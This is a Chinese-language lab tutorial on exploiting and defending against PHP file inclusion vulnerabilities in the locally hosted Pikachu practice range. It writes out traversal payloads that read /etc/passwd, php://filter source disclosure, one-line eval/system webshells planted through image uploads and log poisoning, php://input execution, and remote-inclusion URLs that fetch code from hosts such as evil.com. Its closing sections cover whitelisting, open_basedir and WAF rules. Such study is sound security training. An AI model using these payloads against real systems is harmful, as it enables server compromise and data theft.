1. 项目概述:文件包含漏洞的攻防实战
在Web安全测试的日常工作中,文件包含漏洞(File Inclusion Vulnerability)是一个既经典又极具杀伤力的安全缺陷。它不像SQL注入那样广为人知,但其危害性丝毫不弱,因为它直接关系到服务器的文件系统安全。简单来说,当Web应用程序在动态包含文件(比如加载页眉、页脚、配置文件)时,如果未对用户输入的文件路径进行严格的过滤,攻击者就有可能通过构造特殊的路径参数,让服务器去执行或读取本不该被访问的文件。这就像你让一个信使去隔壁房间取一份文件,但没有锁上通往金库的门,信使就有可能被诱导去取金库的钥匙。
Pikachu靶场,作为国内安全学习者入门和实践的“练功房”,提供了一个近乎完美的、低风险的环境来复现和深入理解这类漏洞。它模拟了一个存在文件包含漏洞的Web应用场景,让我们可以安全地“攻击”自己搭建的靶机,从而深刻体会漏洞的原理、利用手法以及防御策略。今天,我就结合自己多年的渗透测试经验,带你从零开始,在Pikachu靶场中彻底搞懂文件包含漏洞。我们不仅会通关靶场,更会拆解每一步背后的逻辑,分享那些只有实战中才会遇到的“坑”和技巧。
2. 核心原理与漏洞类型深度解析
要利用一个漏洞,首先必须理解它的根源。文件包含漏洞的核心在于程序使用了诸如PHP中的include、require、include_once、require_once这类函数。这些函数的本意是提高代码的复用性,例如将数据库配置、网站头部等公共部分写成单独文件,然后在多个页面中包含进来。
2.1 漏洞产生的根本原因
漏洞产生的根本原因在于信任了不可信的用户输入。开发者编写了类似这样的代码:
<?php $file = $_GET['filename']; // 直接从URL参数获取文件名 include($file . '.php'); // 包含该文件 ?>这段代码的逻辑可能是:用户访问page.php?filename=news,服务器就会去包含news.php文件并展示其内容。问题在于,攻击者传入的filename参数,服务器会忠实地拼接上.php后缀然后去包含。如果开发者没有对$_GET['filename']进行任何过滤,攻击者就可以传入../../../etc/passwd这样的路径。
注意:这里有一个关键点,很多新手会困惑:为什么能跳出Web目录?因为
include函数的参数如果包含路径遍历符(../),且服务器配置(如open_basedir限制)不严格,PHP解释器就会根据这个相对路径,回溯到上一级目录,从而有可能访问到Web根目录之外的系统文件。
2.2 两种主要的文件包含类型
根据包含文件的位置,可以分为两类,理解它们的区别对后续的利用至关重要。
2.2.1 本地文件包含(Local File Inclusion, LFI)
这是最常见的一种。攻击者可以包含服务器本地的文件。利用LFI,攻击者可以:
- 读取敏感文件:如
/etc/passwd(Linux系统用户列表)、C:\Windows\System32\drivers\etc\hosts(Windows主机文件)、Web应用的配置文件(config.php、.env等,可能内含数据库密码)。 - 配合文件上传获取WebShell:如果网站同时存在文件上传漏洞,但上传的文件无法直接执行(比如服务器只解析
.php后缀,而你上传了一个.jpg的图片马),就可以利用LFI去包含这个上传的恶意文件。因为include函数会将被包含文件的内容作为PHP代码执行,只要文件内容符合PHP语法,无论后缀名是什么。 - 利用PHP伪协议:这是LFI的“高级玩法”。PHP内置了多种封装协议,如:
php://filter:用于读取文件源码。例如php://filter/read=convert.base64-encode/resource=index.php可以将index.php的内容以Base64编码形式读出,避免其被直接执行,从而看到源代码。php://input:可以执行POST请求体中的原始数据作为PHP代码。data://:可以直接在URL中嵌入Base64编码的代码并执行。
2.2.2 远程文件包含(Remote File Inclusion, RFI)
这种更为危险。当PHP配置中allow_url_include设置为On时(现代PHP版本默认均为Off),include等函数可以包含远程服务器上的文件。攻击者可以将恶意脚本放在自己控制的服务器上,然后让目标网站去包含执行,从而直接获得一个WebShell。
RFI的利用条件比LFI苛刻得多,在如今的网络环境下已不常见,但作为原理必须了解。其利用形式类似于:http://vuln-site.com/page.php?file=http://evil.com/shell.txt。
2.3 Pikachu靶场中的漏洞场景模拟
Pikachu靶场精心设计了文件包含漏洞的练习模块。通常,它会提供一个看似无害的下拉菜单或链接,背后对应的URL参数就是包含文件的路径参数。我们的任务就是通过操纵这个参数,逐步验证上述原理,从简单的目录遍历读取文件,到利用伪协议获取源码,最终理解如何防御。
3. 靶场环境搭建与初步探测
工欲善其事,必先利其器。一个稳定、隔离的测试环境是安全学习的第一步。
3.1 环境搭建方案选择与实操
Pikachu提供了多种搭建方式,我强烈推荐使用Docker方式,这也是目前最主流、最干净的做法。
为什么选择Docker?
- 环境隔离:所有服务(Apache、PHP、MySQL、Pikachu代码)都封装在一个容器里,与你宿主机系统完全隔离。练习结束后,直接删除容器即可,不会留下任何垃圾文件或配置冲突。
- 一键部署:无需在本地安装配置复杂的PHP+MySQL环境,避免因版本、扩展问题导致的无数坑。
- 可移植性:Docker镜像和容器可以轻松迁移、分享。
搭建步骤:
- 安装Docker:前往Docker官网下载并安装对应你操作系统(Windows/macOS/Linux)的Docker Desktop。
- 拉取Pikachu镜像:打开终端(或PowerShell、CMD),执行以下命令。这里我们使用一个维护较新的镜像。
docker pull area39/pikachu - 运行容器:执行以下命令启动靶场。
docker run -d -p 8080:80 --name pikachu area39/pikachu-d:后台运行。-p 8080:80:将容器的80端口映射到宿主机的8080端口。你完全可以根据需要改成8081:80或其他。--name pikachu:给容器起个名字,方便管理。
- 访问靶场:在浏览器中打开
http://localhost:8080。如果看到Pikachu的欢迎界面,说明环境搭建成功。
实操心得:第一次运行如果访问失败,通常是端口冲突。检查宿主机8080端口是否被其他程序(如别的开发服务器)占用。可以用
docker ps查看容器是否在运行,用docker logs pikachu查看容器日志排错。Linux/Mac用户可能需要sudo权限。
3.2 漏洞页面定位与初步测试
成功进入Pikachu后,在左侧导航栏找到“文件包含”模块。通常里面会有“本地文件包含”和“远程文件包含”两个子模块。
点击进入“本地文件包含”。你会看到一个简单的页面,可能有一个下拉菜单让你选择“语言”或“主题”,URL地址栏可能会显示类似http://localhost:8080/vul/fileinclude/fi_local.php?filename=file1.php这样的链接。
第一步:探测漏洞点尝试修改URL中的filename参数。将file1.php改为一个不存在的名字,比如test。观察页面反应。
- 如果页面报错,提示类似
Warning: include(test.php): failed to open stream: No such file or directory...,这强烈暗示存在文件包含漏洞,因为它尝试去包含test.php,并且错误信息暴露了文件路径。 - 如果页面只是空白或跳转,则需要进一步测试。
第二步:测试目录遍历尝试输入../../../。将参数改为../../../etc/passwd(Linux)或../../../../Windows/System32/drivers/etc/hosts(Windows Docker镜像内)。观察是否能够读取到系统文件内容。
- 在Pikachu的Docker镜像(基于Linux)中,尝试
?filename=../../../etc/passwd。 - 如果页面显示了
/etc/passwd文件的内容,那么LFI漏洞确认存在。
第三步:观察后缀处理尝试输入../../../etc/passwd%00(空字节截断,仅对老版本PHP有效)或直接../../../etc/passwd。注意页面是否自动添加了后缀(如.php)。如果添加了,你读取/etc/passwd的请求实际上变成了/etc/passwd.php,自然会失败。这时就需要用到PHP伪协议或路径长度截断等技巧来绕过。
4. 本地文件包含(LFI)漏洞的深入利用
确认漏洞存在后,我们就可以进行更深层次的利用。LFI的利用方式多样,关键在于灵活组合。
4.1 利用PHP伪协议读取源码
这是非常实用的一招,可以帮助我们审计目标网站的源代码,寻找数据库配置、其他漏洞点或逻辑缺陷。
利用php://filter协议:假设漏洞URL为http://localhost:8080/vul/fileinclude/fi_local.php?filename=file1,服务器会自动补全.php。 我们可以构造如下Payload:
http://localhost:8080/vul/fileinclude/fi_local.php?filename=php://filter/read=convert.base64-encode/resource=file1参数拆解:
php://filter/:使用过滤器协议。read=convert.base64-encode/resource=:指定一个读取过滤器,将资源文件的内容进行Base64编码。file1:这是resource的参数,指定要读取的资源。这里我们传入file1,服务器会将其与前面的路径拼接,最终尝试读取file1对应的文件(可能是file1.php)。注意:这里我们故意没有加.php,因为resource参数期望的是文件名,后缀由服务器逻辑或我们自行推断。
访问这个链接后,页面可能不会直接显示明文代码,而是一串Base64编码的字符串(如PD9waHAgZWNobyAiVGhpcyBpcyBmaWxlMSI7Pz4=)。我们将这串字符复制下来,使用任何Base64解码工具(在线网站或命令行echo ‘字符串’ | base64 -d)进行解码,就能得到file1.php的源代码:<?php echo "This is file1";?>。
更进一步:读取关键配置文件知道了方法,我们就可以尝试读取更重要的文件,比如靶场自身的配置文件、数据库连接文件等。通常这些文件位于Web根目录的上级或同级目录。需要一些目录猜测。 例如,尝试读取config.php:
?filename=php://filter/read=convert.base64-encode/resource=../../config/config.php或者,直接读取当前漏洞文件自身的源码,以分析其过滤逻辑:
?filename=php://filter/read=convert.base64-encode/resource=fi_local4.2 结合文件上传漏洞获取WebShell
这是LFI漏洞危害升级的关键一步,也是实战中常见的组合拳。前提是目标网站存在一个文件上传点,并且我们能上传一个文件到服务器已知路径。
场景模拟:
- Pikachu靶场的“文件上传”模块可能存在一个漏洞,允许我们上传一个
.jpg图片文件,但文件内容其实是一句话PHP木马:<?php @eval($_POST[‘cmd’]);?>。假设上传后,文件被重命名为shell.jpg,存放路径为/uploads/shell.jpg。 - 此时,仅访问
uploads/shell.jpg,服务器会把它当作图片处理,不会执行其中的PHP代码。 - 利用文件包含漏洞,我们去包含这个上传的文件:
(路径需要根据实际情况调整)http://localhost:8080/vul/fileinclude/fi_local.php?filename=../../../uploads/shell.jpg - 当
include函数执行shell.jpg时,会将其内容作为PHP代码解析,于是其中的一句话木马就被激活了。 - 接下来,我们就可以使用中国菜刀、蚁剑等WebShell管理工具,连接这个“虚拟”的PHP脚本(通过包含漏洞的URL),并传递
cmd参数来执行任意系统命令,例如cmd=system(‘whoami’)。
注意事项:这种利用方式对PHP版本和配置有一定要求。需要确保
allow_url_include和allow_url_fopen的设置为Off时仍能包含本地文件(这是默认且通常允许的)。另外,如果上传点对文件内容进行了严格的检测(如图片二次渲染),可能会破坏植入的PHP代码,导致利用失败。
4.3 利用日志文件注入代码
另一个经典的LFI利用技巧是“日志污染”。Web服务器(如Apache、Nginx)会记录所有访问日志,其中包含HTTP请求头。如果我们可以让PHP代码被写入日志文件,再通过LFI去包含这个日志文件,就能执行代码。
利用步骤:
- 找到日志文件路径:通常为
/var/log/apache2/access.log、/var/log/nginx/access.log等。可以通过LFI读取一些已知文件或报错信息来推测。 - 污染日志:使用Burp Suite或Curl,向目标网站发送一个包含PHP代码的HTTP请求。例如,在User-Agent头中插入一句话木马:
GET / HTTP/1.1 Host: localhost:8080 User-Agent: <?php system($_GET[‘c’]);?> - 包含日志文件:通过LFI漏洞去包含这个日志文件。
http://localhost:8080/vul/fileinclude/fi_local.php?filename=../../../var/log/apache2/access.log - 执行命令:如果包含成功,日志文件中的PHP代码会被执行。此时,我们可以在包含日志的URL后面附加参数来执行命令:
这样,参数http://localhost:8080/vul/fileinclude/fi_local.php?filename=../../../var/log/apache2/access.log&c=whoamic的值whoami就会传递给日志文件中的system($_GET[‘c’])代码并执行。
这个方法的关键在于:
- 需要有日志文件的读取权限。
- 日志文件必须可读且路径已知。
- 写入日志的PHP代码不能因为日志文件的格式(如空格、换行符)而被破坏。通常User-Agent字段是一个不错的注入点。
5. 远程文件包含(RFI)漏洞的原理与复现
虽然现代PHP环境默认禁止RFI,但Pikachu靶场为了教学目的,可能会在特定模块模拟开启allow_url_include的环境。理解RFI有助于我们建立完整的安全认知。
5.1 RFI利用条件与环境配置
要复现RFI,首先需要确保测试环境允许远程包含。在PHP的配置文件php.ini中,需要满足:
allow_url_fopen = On allow_url_include = On在Docker运行的Pikachu中,“远程文件包含”模块可能已经单独配置好了这个环境。我们直接进入该模块进行测试。
5.2 利用RFI直接获取WebShell
RFI的利用比LFI更直接。假设存在RFI漏洞的URL为:http://localhost:8080/vul/fileinclude/fi_remote.php?filename=hello
攻击步骤:
- 准备恶意文件:在攻击者自己控制的一台公网服务器(或同一内网的另一台机器)上,创建一个文本文件
shell.txt,内容为:
将该文件通过Web服务器(如Nginx、Apache)发布,确保能通过<?php echo “RFI Test Success!”; phpinfo(); // 或者 system($_GET[‘cmd’]); ?>http://your-vps.com/shell.txt访问。 - 发起RFI攻击:将漏洞URL中的参数修改为远程文件的URL。
http://localhost:8080/vul/fileinclude/fi_remote.php?filename=http://your-vps.com/shell.txt - 结果:如果漏洞存在且配置允许,目标服务器会去请求
http://your-vps.com/shell.txt,获取其内容,并将其作为PHP代码执行。于是页面上会显示 “RFI Test Success!” 以及PHP的配置信息页面(phpinfo()),或者可以通过?cmd=whoami来执行命令。
5.3 RFI的防御与现状
由于RFI的危害极其直接和严重,自PHP 5.2版本以后,allow_url_include的默认值就是Off。因此,在真实的现代Web应用中,纯粹的RFI漏洞已经非常罕见。安全防护的重心更多地放在了防御LFI上。但作为开发者,绝对不应该在配置中开启此选项;作为安全测试者,在黑盒测试时也可以尝试RFI的Payload,但预期成功率很低,更多是一种合规性检查。
6. 漏洞挖掘与利用中的高级技巧与绕过
在实际的渗透测试或CTF比赛中,漏洞点往往不会那么明显,会有各种过滤和限制。下面分享几种常见的绕过技巧。
6.1 路径遍历与编码绕过
- 绝对路径替代相对路径:如果程序过滤了
../,可以尝试使用绝对路径。例如,直接包含/etc/passwd。 - URL编码与双重编码:
../可以被编码为%2e%2e%2f、..%2f、%2e%2e/。- 有些过滤逻辑在解码一次后进行检查,此时可以进行双重编码:
%252e%252e%252f(%25是%的URL编码)。服务器收到后第一次解码得到%2e%2e%2f,如果过滤逻辑在此刻运行,可能检测不到,随后第二次解码时还原为../。
- 超长路径截断:在旧版PHP(<5.3)和特定系统下,当路径长度超过一定限制(如4096字节)时,后面的部分会被截断。可以利用大量
./或/来填充长度,使得后缀被丢弃。例如:filename=../../../etc/passwd/././././...(非常多)。
6.2 PHP伪协议的组合利用
php://filter除了read,还有write过滤器,可以用于复杂的攻击链。php://input协议则允许我们直接执行POST过去的代码,无需在服务器上留有文件。
利用php://input:
- 使用Burp Suite拦截包含漏洞的请求。
- 将GET请求改为POST请求。
- 将
filename参数的值改为php://input。 - 在POST请求体中写入要执行的PHP代码,例如
<?php system(‘whoami’);?>。 - 发送请求,如果配置允许(
allow_url_include=On),代码将被执行。
6.3 利用/proc/self/environ等特殊文件
在Linux系统中,/proc/目录下有很多反映进程和环境信息的虚拟文件。如果Web服务器进程对环境变量控制不严,攻击者可以通过HTTP头(如User-Agent)注入代码到环境变量,然后通过LFI包含/proc/self/environ文件来执行代码。这与日志污染的原理类似。
7. 文件包含漏洞的防御方案与实践
理解了攻击,才能更好地防御。防御文件包含漏洞的核心原则是:对用户输入进行严格的白名单校验,并避免动态包含变量。
7.1 输入校验与白名单机制
最有效的方法是使用白名单。如果只需要包含几个固定的文件,就不要使用动态变量。
// 危险的做法 $page = $_GET[‘page’]; include(‘/pages/’ . $page . ‘.php’); // 安全的做法 - 白名单 $allowed_pages = array(‘home’, ‘about’, ‘contact’); $page = $_GET[‘page’]; if (in_array($page, $allowed_pages)) { include(‘/pages/’ . $page . ‘.php’); } else { include(‘/pages/error.php’); }7.2 静态化与固定后缀
如果必须动态包含,也应尽量避免用户控制完整路径或文件名。
- 固定目录:将可包含的文件限制在某个特定目录下。
- 添加固定后缀:就像Pikachu示例中自动加
.php一样,但要在添加后缀之前对用户输入进行过滤和校验。 - 使用basename()函数:
basename()函数会返回路径中的文件名部分,去掉任何目录路径。这可以防止路径遍历,但要注意它可能无法处理URL编码。
7.3 安全的编程实践与配置加固
- 关闭危险配置:确保生产环境的
php.ini中allow_url_include和allow_url_fopen设置为Off。 - 设置open_basedir:在PHP配置中通过
open_basedir指令将PHP可访问的文件限制在网站根目录及必要目录下,这是防止LFI读取系统文件的重要防线。 - 使用绝对路径而非相对路径:在包含文件时,尽量使用基于项目根目录的绝对路径(通过
$_SERVER[‘DOCUMENT_ROOT’]拼接),减少歧义。 - 代码审计与安全扫描:将文件包含函数(
include,require,include_once,require_once)作为代码审计和自动化安全扫描的重点关注对象。
7.4 Web应用防火墙(WAF)规则
在应用层部署WAF,可以设置规则来拦截包含路径遍历字符(../,..\,etc/passwd等)和PHP伪协议关键字(php://,data://等)的请求。但这只是一种缓解措施,不能替代安全的代码编写。
8. 实战演练:Pikachu靶场通关全记录与问题排查
让我们回到Pikachu靶场,进行一次完整的、带有问题排查思路的通关演练。
关卡:本地文件包含
- 访问页面:
/vul/fileinclude/fi_local.php。看到下拉菜单,URL为?filename=file1.php。 - 测试漏洞:将
filename改为test,页面报错,显示包含test.php失败,确认漏洞存在且自动添加.php后缀。 - 尝试目录遍历:输入
../../../etc/passwd,页面可能显示“文件不存在”或空白。说明后缀.php被加在了整个字符串后面,变成了../../../etc/passwd.php。 - 使用伪协议读取源码:构造Payload:
?filename=php://filter/read=convert.base64-encode/resource=file1。成功获取到一串Base64编码。解码后得到file1.php源码。同理,尝试resource=fi_local来读取漏洞文件本身源码,分析其逻辑。 - 读取系统文件(关键):要读取
/etc/passwd,需要让resource参数指向它,但又要绕过后缀。可以尝试:?filename=php://filter/read=convert.base64-encode/resource=../../../etc/passwd。服务器可能会将resource后的整体作为路径。如果成功,解码后即可看到用户列表。- 如果上述失败,可能是程序对
resource参数也做了目录限制。可以尝试更直接的包含(如果后缀处理可被空字节截断,但PHP高版本已修复):?filename=../../../etc/passwd%00(PHP<5.3.4)。在Pikachu环境中通常无效。
- 通关:在Pikachu中,成功读取到指定敏感文件(如
../../../../etc/passwd)或关键配置文件,即算通关。
常见问题排查表:
| 问题现象 | 可能原因 | 排查思路与解决方案 |
|---|---|---|
修改filename参数后页面无变化或404 | 参数名不对,或漏洞点不在GET请求中 | 1. 查看页面源码,寻找其他表单或链接。2. 使用Burp Suite拦截所有请求,查看POST数据或Cookie中是否包含文件路径参数。3. 尝试常见的参数名,如file,page,path,load等。 |
包含../../../etc/passwd失败,但报错信息显示路径 | 自动添加了后缀(如.php) | 1. 使用php://filter协议读取源码,确认后缀添加逻辑。2. 尝试空字节截断(仅对旧版本)。3. 尝试超长路径截断。4. 尝试利用?号:../../../etc/passwd?,有时?后的内容在部分环境下会被当作URL参数而忽略。 |
php://filter协议返回空白或错误 | PHP配置禁用该协议,或路径错误 | 1. 检查allow_url_fopen设置(虽主要针对HTTP,但可能影响)。2. 确认resource=后的路径是否正确,尝试使用相对路径(如./file1)或绝对路径。3. 尝试其他伪协议,如data://。 |
| 包含上传的图片马不执行代码 | PHP配置或代码逻辑问题 | 1. 确认包含的路径绝对正确。2. 确认图片马中的PHP代码未被上传过程破坏(如图片压缩)。3. 尝试在图片马开头添加GIF89a等文件头绕过简单检测。4. 查看服务器是否安装了禁用危险函数(如eval,system)的扩展。 |
| 远程包含(RFI)失败 | allow_url_include为Off | 1. 这是正常且安全的情况。2. 在Pikachu的RFI专项关卡中,确认是否进入了正确的模块,该模块可能单独配置了允许RFI的环境。 |
我个人在实际操作中的体会是,文件包含漏洞的利用过程就像是在和应用程序的逻辑“对话”。每一次参数修改,每一次Payload的尝试,都是在试探服务器的处理规则。从简单的目录遍历,到伪协议的使用,再到结合其他漏洞(如上传、日志),这个漏洞展现出了强大的横向扩展能力。防御的核心,永远在于对用户输入保持“零信任”,并在代码层面实现严格的校验与控制。通过Pikachu这样的靶场反复练习,将这些攻击手法和防御思路内化,才能在真实的网络安全工作中做到心中有数,手中有术。